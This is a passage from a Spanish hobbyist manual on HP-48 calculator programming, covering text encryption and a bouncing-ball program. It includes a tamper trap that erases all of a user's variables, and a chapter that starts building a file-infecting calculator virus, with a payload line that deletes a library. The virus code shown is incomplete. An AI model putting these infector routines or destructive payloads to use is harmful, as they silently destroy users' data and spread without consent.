<< 1 OVER SIZE FOR R DUP R DUP SUB NUM 15 + CHR R SWAP REPL NEXT >>

Ahí está nuestro primer encriptador.

Se debe tener en cuenta que la hp cuenta con 255 caracteres ascii y que no hay que preocuparse por que en alguna de las sumas de encripción se supere esta cifra, ya que la hp lo arregla por nosotros igual que los ángulos(450º=90º), o sea que el caracter 257 es el 2.

Ahora, como sería el "crackeador" de nuestro ejemplo de encripción ??Si no se te ocurre....mmmmmmmm......bueno, no importa.

<< 1 OVER SIZE FOR R DUP R DUP SUB NUM 15 - CHR R SWAP REPL NEXT >>

Hay que preocuparse eso sí por el signo - ya que para este ejemplo no hay problema, puesto que es el crack del anterior, pero si este fuera un encriptador, hay que cuidarse del - por que todos los caracteres negativos la hp los toma como el caracter 0. Con esto quiero decir que en todo proceso de encripcion que se desarrolle en la hp48 se deve tener en cuenta que el cambio de caracter siempre debe ser por otro cuyo código sea MAYOR que el primero.

Veamos otro ejemplo un poquitin más complejo :

<< 1 OVER SIZE FOR R DUP R DUP SUB NUM 1 + CHR R SWAP REPL DUP R 1 + DUP SUB NUM 2 + CHR R 1 +

SWAP REPL 2 STEP >>

Este ya sería un poco más complicadito, aunque muy básico aún. Pero al menos ya costaría un poco darse cuenta del algoritmo de encripción.

También se podría combinar este programa con uno que de vuelta entera la cadena.

<< 1 OVER SIZE START DUP HEAD + TAIL NEXT 1 OVER SIZE FOR R DUP R DUP SUB NUM 1 + CHR R SWAP REPL DUP R 1 + DUP SUB NUM 2 + CHR R 1 + SWAP REPL 2 STEP >>

Lo que está con negrita es lo que da vuelta la cadena. Luego se aplica un encriptador y el resultado es un poco más rebuscado.

Tengan en cuenta que la gracia del manual es que ustedes vayan creando cosas al mismo tiempo que yo les voy enseñando ideas.

Bueno, pero hagamosle una pruebita al encriptadorrrr :

Si ingreso el texto "temuco es una bella ciudad"lo que obtengo es : " "

Lo primero que se me viene a la mente si estamos hablando de ocultar el texto original, es que la segunda cadena tiene el mismo SIZE que la primera, así que esto se debe solucionar de forma inteligente. A ver....no podemos ponerle a cada texto que encriptemos unos caracteres de más siempre iguales, ya que el posible "desencriptador" se daría cuenta de que todos los textos encriptados siempre comienzan con la misma cosa o terminan con la misma cosa. Lo que se me ocurre es que se le sumen caracteres al texto de acuerdo al texto, o sea que se varíe segun el texto el número de caracteres a añadir. Es una buena idea.

USANDO PVIEW :

<< << { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON { #0h #0h } PVIEW (0,0) Q2 >> Q1 STO << DUP C->R -> Y A B << Y PIXOFF

IF 'A>6' THEN { XJ3 } (1,0) STO- END

IF 'B>3' THEN { XJ3 } (0,1) STO- END

IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END

IF 'B<-3' THEN { XJ3 } (0,1) STO+ END Y XJ3 + PIXON { #0h #0h } KEY

IF 0 == THEN PVIEW Y XJ3 + Q2 ELSE { XJ3 PPAR Q1 Q2 } PURGE

"by xj35u5x" MSGBOXCLEAR END >> >> Q2 STO Q2 >>

USANDO ANIMATE :

<< GROB 1 1 10 WQ STO GROB 1 1 00 WQ2 STO << { KK2 } RCL BYTES IF B767h == THEN

{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO

ERASE PICT RCL (0,0) WQ GOR { 1 { #0h #0h } 0 1 }

ANIMATE (0,0) KK2 >> KK1 STO ELSE VARS PURGE END

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ ENDIF 'B<-2.8' THEN { XJ32 } (0,1)

STO+ ENDT XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

Es evidente que el programa corre mucho más rápido con PVIEW pero se debe tener en cuenta la ventaja que con ANIMATE se puede cambiar el tonto punto por una figura predefinida por nosotros. Si se quiere hacer correr el ejemplo tengase en cuenta no modificarlo ;-)

III PARTE

CAPITULO 1 : "ANALISIS DEL CÓDIGO FUENTE DEL PROGRAMA PELOTA, EL CUAL HACE QUE UN PUNTO REBOTE POR LA PANTALLA SIMULANDO EL MOVIMIENTO DE UNA PELOTA"

CAPITULO 2 : "INTENTEMOS CREAR UN VIRUS VERDADERO"CAPITULO 3 "PROTEGER NUESTROS TRABAJOS DE LOS FALSOS HACKERS,

TAMBIEN LLAMADOS <<HACKERS DE PLÁSTICO>>"CAPITULO 4 "ENCRIPCION DE TEXTOS EN LA HP-48"

CAPITULO 5 "¡¡¡¡ LIBRERIAS !!!!"

CAPITULO 6 "AL FILO DE LA MUERTE, LIBEVAL Y SYSEVAL, LOS COMANDOS DEL INFIERNO."

CAPITULO 1 : "ANALISIS DEL CÓDIGO FUENTE DEL PROGRAMA PELOTA, EL CUAL HACE QUE UN PUNTO REBOTE POR LA PANTALLA SIMULANDO EL MOVIMIENTO DE UNA PELOTA"

Les hablaré un poco de mi. Cuando veo por ejemplo el código enlenguaje C de un programa llamado SORT el cual dado un arreglo de números los ordena de mayor a menor, no se por donde empezar. De primera, lo único que veo son muchos geroglificos que no entiendo para nada, es decir, tres ciclos for anidados daban el resultado correcto, pero de que yo entendí el código.....la verdad es que aún

no. Por esto, y además por un e-mail que me llego de un amigo de Venezuela diciéndome que estaba un poco difícil el código de la pelota, es que decidí dedicarle un capitulo entero a su discusión.

Si alguien así lo desea, puede seguir en el segundo capitulo sin problemas, ya que en este primer capitulo no daré ningún comando nuevo ni nada por el estilo, lo que haré será hacerles a ustedes entender, cada idea que estuvo en mi cabeza en el momento en que se me ocurrió el código para hacer el programa, o sea, entender completamente la funcionalidad del código.

Bueno, esperenme un poco, voy a buscar el código que lo tengo en la segunda parte......

USANDO PVIEW :

<< << { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON { #0h #0h } PVIEW (0,0) Q2 >> Q1 STO << DUP C->R -> Y A B << Y PIXOFF

IF 'A>6' THEN { XJ3 } (1,0) STO- END

IF 'B>3' THEN { XJ3 } (0,1) STO- END

IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END

IF 'B<-3' THEN { XJ3 } (0,1) STO+ END Y XJ3 + PIXON { #0h #0h } KEY

IF 0 == THEN PVIEW Y XJ3 + Q2 ELSE { XJ3 PPAR Q1 Q2 } PURGE

"by xj35u5x" MSGBOXCLEAR END >> >> Q2 STO Q2 >>

USANDO ANIMATE :

<< GROB 1 1 10 WQ STO GROB 1 1 00 WQ2 STO << { KK2 } RCL BYTES IF # B767h ==

THEN{ XJ32 PPAR KK1 KK2 WQ WQ2 }

PURGE (0.5,0.5) XJ32 STO ERASE PICT RCL (0,0)

WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2

ELSE VARS PURGE END >> KK1 STO

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ ENDIF 'B<-2.8' THEN { XJ32 } (0,1)

STO+ ENDT XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

Bueno, primero que nada, ahí esta el código de los dos programas que hacen lo que nosotros queríamos. Uno usa el comando PVIEW y el otro el comando ANIMATE(este es mi favorito).

empecemos por el código del PVIEW :

<< << { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON { #0h #0h } PVIEW (0,0) Q2 >> Q1 STO << DUP C->R -> Y A B << Y PIXOFF

IF 'A>6' THEN { XJ3 } (1,0) STO- END

IF 'B>3' THEN { XJ3 } (0,1) STO- END

IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END

IF 'B<-3' THEN { XJ3 } (0,1) STO+ END Y XJ3 + PIXON { #0h #0h } KEY

IF 0 == THEN PVIEW Y XJ3 + Q2 ELSE { XJ3 PPAR Q1 Q2 } PURGE

"by xj35u5x" MSGBOXCLEAR END >> >> Q2 STO Q1 >>

Bueno, lo que haremos será ir construyendo de a poco el código.

Lo que necesitamos es un punto. Un simple punto. Bueno, este

objetos, como la gran mayoría de ustedes sabrán, necesita paraexistir de 2 parámetros, su coordenada "x" y su coordenada "y", estoes así al menos en 2 dimensiones. Bueno, entonces decidimos lo masadecuado para representar los puntos, o sea, la misma forma en quela hp los representa, y esta forma es (a,b) donde a es la coordenada"x" y b es la coordenada "y".

Bueno, pero además de un simple punto, también necesitamos queeste punto se mueva, o sea, que varié su ubicación, o por lo tanto, que varíen sus coordenadas según sea necesario. Entonces se me ocurrio la idea que viene a continuación, y que es la parte medular de este código.

Lo que necesitaba era un "sumador", o sea, otra coordenada quese sumara a la original para producir el efecto de movimiento. El "sumador" solo tendría algunos valores para tomar. En efecto, son 4.

(1,1) este es cuando se mueve hacia arriba-derecha, ya quele suma 1 a cada coordenada, con lo que se produce el efecto de quese mueve para arriba y a la derecha. Análogamente pasa con :

(-1,1) <- arriba y a la izquierda

(1,-1) <- abajo y a la derecha

(-1,-1) <- abajo y a la izquierda

Si alguien no entendió esta parte le daré un pequeño ejemplo :

Supongamos que las coordenadas actuales del punto son (0,0) yel punto en ese momento se va moviendo en dirección arriba-derecha, entonces, suponiendo que la diferencia entre un punto y otro es 0.5,se supone que la siguiente ubicación del punto sería (0.5,0.5) puntoque efectivamente se encuentra arriba y a la derecha del (0,0).

Espero se haya entendido.

Ese es el primer razonamiento para hacer el programa.

Pero ahora debemos preguntarnos, cuando variará el "sumador" ??? Esto es muy simple de responder, sobre todo si estamos tratando de simular el movimiento de una pelota..... Simplemente, supongamos que el movimiento va para arriba, entonces, cuando la pelota llegue al limite superior de la pantalla, en ese momento es cuando se debe cambiar el valor (1,1) por el valor (1,-1) para que el movimiento siga para abajo.

Y como resolvemos esa parte, simplemente decidiendo si las coordenadas se encuentran en esos límites. Bueno analicemos el primer módulo :

<< { XJ3 } PURGE (0.5,0.5) XJ3 STO ERASE (0,0) PIXON { #0h #0h } PVIEW (0,0) Q2 >>

al que se le ha llamado Q1. ( Q1 STO )

Lo primero, la línea { XJ3 } PURGE es por que simplemente lavariable XJ3 es el "sumador" del que hablábamos endenante.

Luego, se crea la variable XJ3 con el valor (0.5,0.5).

Después, se borra la pantalla de gráficos con el comando ERASE y luego se pinta un punto en la ubicación (0,0) en la línea (0,0) PIXON el cual será el primer punto del ciclo.

Entonces, mediante la línea { #0h #0h } PVIEW se muestra el punto en pantalla y tu lo ves por primera vez.

Después de haberlo mostrado, se pone el valor (0,0) en la pila, que representa la ubicación del punto recién pintado, y se llama al programa Q2, que es el otro módulo del programa pelota. este es :

<< DUP C->R -> Y A B << Y PIXOFF IF 'A>6' THEN { XJ3 } (1,0) STO-

END

IF 'B>3' THEN { XJ3 } (0,1) STO- END

IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END

IF 'B<-3' THEN { XJ3 } (0,1) STO+ END Y XJ3 + PIXON { #0h #0h } KEY

IF 0 == THEN PVIEW Y XJ3 + Q2 ELSE { XJ3 PPAR Q1 Q2 } PURGE

"by xj35u5x" MSGBOXCLEAR END >> >>

Bien, ahora vemos que dentro de este código no se vuelve a llamar nunca mas al programa Q1, por lo que nos damos cuenta que el Q1 se ejecuta solo una vez para luego pasar el control total a este otro modulo del programa, al que hemos llamado Q2.

Bien, lo primero que hacemos es duplicar la coordenada dejada por Q1, y luego mediante un par de cosas dejamos en la pila por ejemplo :

si el Q1 había dejado

2: 1: (0,0)

nosotros, en la línea DUP C->R lo que hacemos es dejar eso de esta manera :

3: (0,0)2: 0 1: 0

esto es, en el nivel 3, tenemos la ubicación, en el dos la coordenada x y en el uno la coordenada y. Entonces procedemos a tomarlas como variables locales en la línea -> Y A B en donde Y es la ubicación 0,0)...A es la coordenada "x" y B es la coordenada "y".

Lo primero que hago dentro de este módulo, es borrar el punto anterior, para que se cumpla la simulación de movimiento con la línea Y PIXOFF

Entonces procedemos a hacer algo muy importante, que es comparar las coordenadas de el punto con los límites de la pantalla, mediante las líneas

IF 'A>6' THEN { XJ3 } (1,0) STO- END

IF 'B>3' THEN { XJ3 } (0,1) STO- END

IF 'A<-5.5' THEN { XJ3 } (1,0) STO+ END

IF 'B<-3' THEN { XJ3 } (0,1) STO+ END

Ahí vemos que se comparan las coordenadas con los límites de la pantalla y según eso se cambia el valor de la variable XJ3 que es nuestro "sumador".

Luego viene el código

Y XJ3 + PIXON { #0h #0h } KEY

el cual lo que hace es :

1-Pona la variable local que contiene la ubicación en la pila

2-Llama al sumador y se lo suma

3-Pinta el pixelLuego, ponemos el { #0h #0h } para

poder visualizar luego la pantalla de gráficos conteniendo el punto. Pero antes de eso, se llama a KEY, que sirve para ver si se ha presionado una tecla. Esto es para hacer que el programa termine si se presiona una tecla...

IF 0 == THEN PVIEW Y XJ3 + Q2 ELSE { XJ3 PPAR Q1 Q2 } PURGE

"by xj35u5x" MSGBOXCLEAR END

Eso es lo último, se compara el valor arrojado por KEY con 0. Y si 0 es igual al valor arrojado, significa que no se ha presionado ninguna tecla, y el bucle infinito debe seguir. Esto se realiza mediante:

PVIEW Y XJ3 + Q2

Esto, con PVIEW, se muestra la pantalla de gráficos, ya que las coordenadas están en la pila.( { #0h #0h } )

Luego, se pone la coordenada en donde fue pintado el pixel:

Y XJ3 +

Finalmente se llama nuevamente el mismo programa en forma recursiva.

En caso de que el valor arrojado por KEY fuera distinto, lo que se hace es borrar las variables con las que trabajó el programa, o sea,

{ XJ3 PPAR Q1 Q2 } PURGE

PPAR es una variable que aparece automáticamente cuando se ejecuta PVIEW.

Lo último es una pantallita donde dice "by xj35u5x", jeje, ese soy yo, el autor. Con la palabra CLEAR se borra el contenido de la pila.

Eso sería todo el código, si a alguien no le quedó algo claro, no tiene que pensar nada tonto, solo escríbame y yo le explicare lo que quiera.

[email protected]://www.geocities.com/xj35u5x

AHORA VEAMOS EL EJEMPLO CON ANIMATE

USANDO ANIMATE :

<< GROB 1 1 10 WQ STO GROB 1 1 00 WQ2 STO << { KK2 } RCL BYTES IF # B767h ==

THEN{ XJ32 PPAR KK1 KK2 WQ WQ2 }

PURGE (0.5,0.5) XJ32 STO ERASE PICT RCL (0,0)

WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2

ELSE VARS PURGE END >> KK1 STO

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ END

IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END

T XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

BIen, empezare desde lo mas importante, aquí vamos a hablar un poco sobre la protección de nuestros programas, considere el código siguiente :

<< GROB 1 1 10 WQ STO GROB 1 1 00 WQ2 STO <<

{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO

ERASE PICT RCL (0,0) WQ GOR { 1 { #0h #0h } 0 1 }

ANIMATE (0,0) KK2 >> KK1 STO

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ ENDIF 'B<-2.8' THEN { XJ32 } (0,1)

STO+ ENDT XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

Hay una ligera diferencia, en este último falta la línea :

{ KK2 } RCL BYTES IF B767h == THEN

y al final falta

ELSE VARS PURGE END

Bueno, si se ejecuta el programa de las dos formas funcionará igual, la diferencia esta en una sola parte.

Supongamos que yo soy un "Hacker-TONTO", o sea, la persona que quiere hacer algo raro a nuestro código, algo raro como cambiar la frase

"by xj35u5x"

por

"creado por hacker-TONTO"

Algo muy común entre todos los perdedores que quieren jugar un rato a lo crackers/hacker.

Bueno, la cosa es que con ese código extra, si alguien intentase cambiar de cualquier forma la frase "by xj35u5x" al ejecutar el código lo único que vería sería como todas sus variables del directorio actual se borran.

( VARS PURGE )

Esto a menos que la primera variable fuera un directorio no vacío, pero esto es una trivialidad técnica, lo que importa es el hecho.

Una de las formas de protección de los programas es mediante el uso del comando BYTES, el cual nos da la suma de verificación de cualquier cosa. Entonces lo que yo hice fue hacerle un BYTES al modulo que contiene la frase, y lo comparo con el verdadero valor que ya he obtenido. Entonces, la gracia del asunto es que es hacker-TONTO ya no le será posible llegar a reemplazar las cadenas por lo queel quiera, por que cada cadena podríamos guardarla en variables, o hacerles BYTES.

Bueno, esto no es una proeza, ya que alguien con los conocimientos adecuados podría fácilmente crackear el código, pero mis amigos, para los que no lo sepan, así funciona el mundo de la informática.

Luego, en capítulos posteriores, desarrollaremos métodos más avanzados de protección.

Ahora, bueno, disculpen por salirme del tema, lo que íbamos a hacer era una investigación sobre el código fuente de la PELOTA que salta por toda la pantalla, usando el comando ANIMATE. Bueno, si vamos a hacer esto, hagámoslo sin la protección, ya que no viene al caso......

<< GROB 1 1 10 WQ STO GROB 1 1 00 WQ2 STO <<

{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO

ERASE PICT RCL (0,0) WQ GOR { 1 { #0h #0h } 0 1 }

ANIMATE (0,0) KK2 >> KK1 STO

<< DUP C->R -> T A B << SWAP T

WQ2 REPL IF 'A>5.8' THEN { XJ32 } (1,0)

STO- END IF 'B>2.5' THEN { XJ32 } (0,1)

STO- ENDIF 'A<-5.7' THEN { XJ32 } (1,0)

STO+ ENDIF 'B<-2.8' THEN { XJ32 } (0,1)

STO+ ENDT XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

Bueno, la idea es muy parecida al programa anterior. Solo que ahora en vez de usar puntos, usaremos pequeños dibujos que simularan puntos.

Las líneas

GROB 1 1 10 WQ STOGROB 1 1 00 WQ2 STO

Lo que hacen es crear dos grobs de 1*1 pixeles. Unos de ellos esta pintado y el otro no. El que no esta pintado será usado como "goma de borrar". Esto debido a que es más rápido que usar el ERASE, el cual borra toda la pantalla de gráficos.

Ahora, la sintaxis del comando ANIMATE es un poco distinta a la del comando PVIEW. El comando ANIMATE requiere que en el nivel 2 de la pila se encuentre el grob a visualizar, y en el nivel 1 de la pila se debe encontrar una lista que contenga los siguientes parámetros :

a - Numero de grobs a mostrar

b - Coordenada "x" en formato {} de donde se quiere mostrar el grob.

c - Coordenada "y" en formato {} de donde se quiere mostrar el grob.

d - Tiempo que se mostrará cada grob en segundos.

e - Numero de veces a mostrar la animación.

Con las siguientes salvedades.

Si d es cero, la animación se muestra automáticamente, muy rápido.

Si e es cero, la animación se muestra indefinidamente.

Y la lista es de la siguiente forma:

{ a { #b #c } d e }

O sea una lista con 4 elementos.

Igual que la versión con PVIEW, el programa constará de dos módulos que se crean y se destruyen cuando comienza y termina el programa respectivamente.

El primero de ellos es :

<< { XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO

ERASE PICT RCL (0,0) WQ GOR { 1 { #0h #0h } 0 1 }

ANIMATE (0,0) KK2 >>

Lo primero es borrar las variables usadas por el programa, en caso de cualquier problema

mediante la línea :

{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE

Luego, se guarda el primer sumador con la línea :

(0.5,0.5) XJ32 STO

Después, mediante la línea

ERASE PICT RCL

Obtenemos un grob del porte de la pantalla, para trabajar sobre él.

Antes de seguir, debemos decir, el nombre de las variables que se crean en el programa.....

WQ <- es el punto WQ2 <- la goma de borrar, o sea un

punto vacío.XJ32 <- sumadorKK1 <- modulo que empieza el

programaKK2 <- modulo principal

Ahora continuemos.....

El programa sigue con :

(0,0) WQ GOR

Lo que hace esto es pegar el contenido de WQ en el grob base que anteriormente creamos, en la coordenada (0,0).

Entonces, ya tenemos un primer grob, con el punto pintado en la ubicación (0,0) listo para empezar..... Esto se realiza con la línea :

{ 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2

La cual lo que hace es mostrar el dibujo en pantalla, y luego, pasarle el valor en donde fue pinado el pixel al modulo KK2. Entonces, eso sería todo lo que hace este primer módulo, al que

llamamos KK1.

El código del segundo módulo, llamado este KK2 es :

<< DUP C->R -> T A B << SWAP T WQ2 REPL

IF 'A>5.8' THEN { XJ32 } (1,0) STO- END

IF 'B>2.5' THEN { XJ32 } (0,1) STO- END

IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END

IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END

T XJ32 + WQ GOR SWAP KEY IF 0 == THEN ANIMATE T XJ32 +

KK2ELSE { PPAR XJ32 KK1 KK2 WQ

WQ2 } PURGE CLEAR"by xj35u5x" MSGBOX END >>

>> KK2 STOKK1 >>

Lo primero es lo mismo que el código PVIEW, o sea, tomar tres objetos como variables locales, la ubicación entera, la coordenada x y la coordenada y.

DUP C->R -> T A B

Vemos que ahora la ubicación se llama T.

Bueno, entonces, pensemos en que es lo que pasa en ese momento...

Como tomamos la ubicación como variable local junto con sus partes, lo que queda en la pila serían dos cosas:

3:2: grob_actual1_ { 1 { #0h #0h } 0 1 }

Entonces, como debemos trabajar siempre solo con el grob, usamos la palabra

SWAP

Luego, se borra el punto recién mostrado mediante la línea:

T WQ2 REPL

ya que T es la ubicación y WQ2 es el punto vacío que borra el anterior.

Luego lo mismo de antes para decidir si la pelota ha llegado a los limites de la pantalla y según eso cambiar el sumador:

IF 'A>5.8' THEN { XJ32 } (1,0) STO- END

IF 'B>2.5' THEN { XJ32 } (0,1) STO- END

IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END

IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END

Después, se pone la última ubicación del punto nuevamente, se le suma el correspondiente sumador, y se llama a la variable WQ, la cual contiene el punto a visualizar. Teniendo estos tres parámetros en la pila(grob, ubicación, grob) ya podemos pegar un nuevo punto.... Todo esto en la línea:

T XJ32 + WQ GOR SWAP

Ese SWAP es para dejar listo el grob con los parámetros necesarios para hacer una nueva animación.

Después se llama al KEY para ver si se presiona una tecla, y en caso de que no se presione ninguna, se hace la animación, y se pone en la pila el valor de las coordenadas(ubicación) del punto pintado recién, llamándose luego el programa KK2 a si mismo, en forma recursiva.

IF 0 == THEN ANIMATE T XJ32 + KK2

En caso de que se presiona una tecla, tenemos el código :

ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR

"by xj35u5x" MSGBOX

El cual ya sabemos lo que hace, terminar correctamente el programa, borrando las variables que usó temporalmente.

Bueno, eso sería todo. La verdad es que a mi me ha ayudado bastante, ya que cuando

quise hacer esto en lenguaje C no me costó nada. Siendo un total ignorante en la programación c. Lo que ocurrió fue que como yo había hecho el programa para la hp-48 ya tenía la idea, y la "traduje" a lenguaje C.

Todas sus dudas a [email protected]

Espero que se haya entendido algo de toda esta mugre.... jaja....

FIN DEL CAPITULO 1 ---------------------------------------------------------------------

CAPITULO 2 : "INTENTEMOS CREAR UN VIRUS VERDADERO"

Vamos a revisar la teoría y programación de un muy simple virus. Lo que hará este virus será infectar a todos los otros programas user-rpl que se encuentren en el directorio actual insertándole un pequeño trozo de código al final de cada archivouser-rpl que se encuentre.

Comando: TYPELo que hace este comando es decirnos el

tipo de objeto que se encuentra en el nivel 1 de la pila. Lo que devuelve es un número que variará según el tipo de objeto. Véase la siguiente tabla :

---------------------------------------------------NUMERO | TIPO DE OBJETO

|--------|-----------------------------------------|

-- 0 ---|-- NUMERO REAL --------------------------|--------|-----------------------------------------|-- 1 ---|-- NUMERO COMPLEJO

----------------------|--------|-----------------------------------------|-- 2 ---|-- CADENA DE CARACTERES O

STRING --------|--------|-----------------------------------------|-- 3 ---|-- SISTEMA REAL

-------------------------|

--------|-----------------------------------------|-- 4 ---|-- SISTEMA COMPLEJO

---------------------|--------|-----------------------------------------|-- 5 ---|-- LISTA --------------------------------|--------|-----------------------------------------|-- 6 ---|-- NOMBRE GLOBAL

------------------------|--------|-----------------------------------------|-- 7 ---|-- NOMBRE LOCAL

-------------------------|--------|-----------------------------------------|-- 8 ---|-- PROGRAMA !!!!!!

----------------------|--------|-----------------------------------------|-- 9 ---|-- OBJETO ALGEBRAICO

--------------------|--------|-----------------------------------------|-- 10 --|-- ENTERO BINARIO

-----------------------|--------|-----------------------------------------|-- 11 --|-- OBJETO DE GRÁFICOS

-------------------|--------|-----------------------------------------|-- 12 --|-- OBJETO ETIQUETADO

--------------------|--------|-----------------------------------------|-- 13 --|-- OBJETO DE UNIDADES

-------------------|--------|-----------------------------------------|-- 14 --|-- NOMBRE DE XLIB

-----------------------|--------|-----------------------------------------|-- 15 --|-- DIRECTORIO

---------------------------|--------|-----------------------------------------|-- 16 --|-- BIBLIOTECA

---------------------------|--------|-----------------------------------------|-- 17 --|-- OBJETO DE SEGURIDAD

------------------|--------|-----------------------------------------|-- 18 --|-- FUNCION INCORPORADA

------------------|--------|-----------------------------------------|-- 19 --|-- COMANDO INCORPORADO

------------------|--------|-----------------------------------------|-- 20 --|-- SISTEMA BINARIO

----------------------|--------|-----------------------------------------|-- 21 --|-- REAL EXTENDIDO

-----------------------|

--------|-----------------------------------------|-- 22 --|-- COMPLEJO EXTENDIDO

-------------------|--------|-----------------------------------------|-- 23 --|-- SISTEMA RELACIONADO

------------------|--------|-----------------------------------------|-- 24 --|-- CARACTER

-----------------------------|--------|-----------------------------------------|-- 25 --|-- OBJETO DE CÓDIGO

---------------------|--------|-----------------------------------------|-- 20 --|-- DATOS DE BIBLIOTECA

------------------|--------|-----------------------------------------|-- 21 --|-- OBJETO EXTERNO

-----------------------|--------|-----------------------------------------|________|

_________________________________________|

SE DARAN CUENTA QUE EL QUE NOS SIRVE ES EL 8.

Hago esta aclaración por que necesitaremos detectar las variables que contengan programas para modificarlos según nosotros queramos. Pero lograr esto viene mucho Después, luego de unos buenos razonamientos.

Comando: TVARSLo que hace este comando, es, dado un

número cardinal en la pila, nos entrega una lista conteniendo los nombres de todas las variables del directorio actual, cuyo tipo sea el que representa el numero dado.

Bien, veamos al asunto de inmediato. Lo que haremos en síntesis será detectar todas las variables que sean programas user-rpl y sus respectivos nombres. Luego, transformamos todos esos programas a cadenas de texto. Después, le concatenamos el texto que nosotros queramos :-), y Después, volvemos a transformar la cadena en programa, y le ponemos sus respectivos nombres.

Claro que todo esto no es nada fácil, ni me lo imagino como lo haremos, pero sé que es posible.... Trataremos de hacer algo bonito. :-)

Que hace el siguiente código:

<< CLEAR8 TVARS>>

Lo único que hace es mostrarnos una lista con los nombres de las variables que son programas en el directorio actual.

Esa será la base sobre la que trabajaremos.

Ahora me voy, por que tengo mucho sueño. chau.....

<< "MAÑANA NOS VEMOS" MSGBOX >>

Bueno, estoy de vuelta como una semana Después de que me "fui", jaja , bien, ahora, vamos viendo....Ahhh, el virus, una vez lo hice, recuerdo que funcionaba bien, pero era un poco lento, sobre todo si en el directorio actual se encontraban muchos programas, los cuales debía infectar uno por uno.... Esto también ocurría en caso de que los programas presentes fueran de gran tamaño.

Otro tipo de virus, íntegramente creado por mi, lo pueden estudiar y entender en :

http://www.geocities.com/xj35u5x/xvir.html

Aunque este es menos inteligente que el que analizamos aquí,es mucho más destructivo.

Es parte de mi página, en la cual encontraras información sobre la hp-48.

La dirección raíz de mi página es

http://www.geocities.com/xj35u5x

La verdad de las cosas, es que en este momento no puedo programar nada, ya que tengo la calculadora sin pilas.... Alguien en mi casa me las ocupó para el control remoto, así que cuando compre pilas continuaré con la programación del virus.

Recuerdo que en la primera versión del virus, lo que se pegaba al final de cada programa user del directorio era :

180599 DROP >>

Eso se concatenaba al final del código.... Y a estas alturas supongo que sabrás que lo único que hace es poner el número 180599 en la pila y borrarlo automáticamente sin que el usuario se de cuenta.... O sea, era un virus "Inofensivo", en otras palabras, que no hace gran daño al usuario.... De hecho no le hace nada a nadie, a parte de la memoria que se usa para aumentar el archivo.

¿ Por que 180599 ?

Es la fecha de nacimiento de alguien especial....

Y por eso, bauticé a este tipo de virus con ese nombre... simplemente << 180599 >>.

Que pasaría si en vez del anterior código hubiera puesto :

0 PVARS HEAD DUP DETACH PURGE >>

Eso sería algo así como que cada vez que se ejecutara el programa infectado se borraría una librería. Se pueden hacer tantas cosas con esta maquinita.....

Ups, estoy de vuelta, Después de como 2 semanas sin escribir nada, mil disculpas, aunque a ustedes realmente no les afecta.....

Vamos a ir creando lentamente el código del virus 180599.

Primero, traigamos a la pila una lista con los nombres de todos los archivos o variables que contienen programas user-rpl. Esto lo logramos de la siguiente forma :

<< 8 TVARS >>

Luego, esa lista la duplicamos, y obtenemos luego, otra lista, con los contenidos de cada variable..... o sea, ampliemos el código a:

<< 8 TVARS DUP << RCL >> DOLIST >>

Si no se entendió la parte del DOLIST, este es un comando que nos permite aplicar a una lista, un pequeño programa, en este caso << RCL >>.

ahora podemos ver algo como esto :

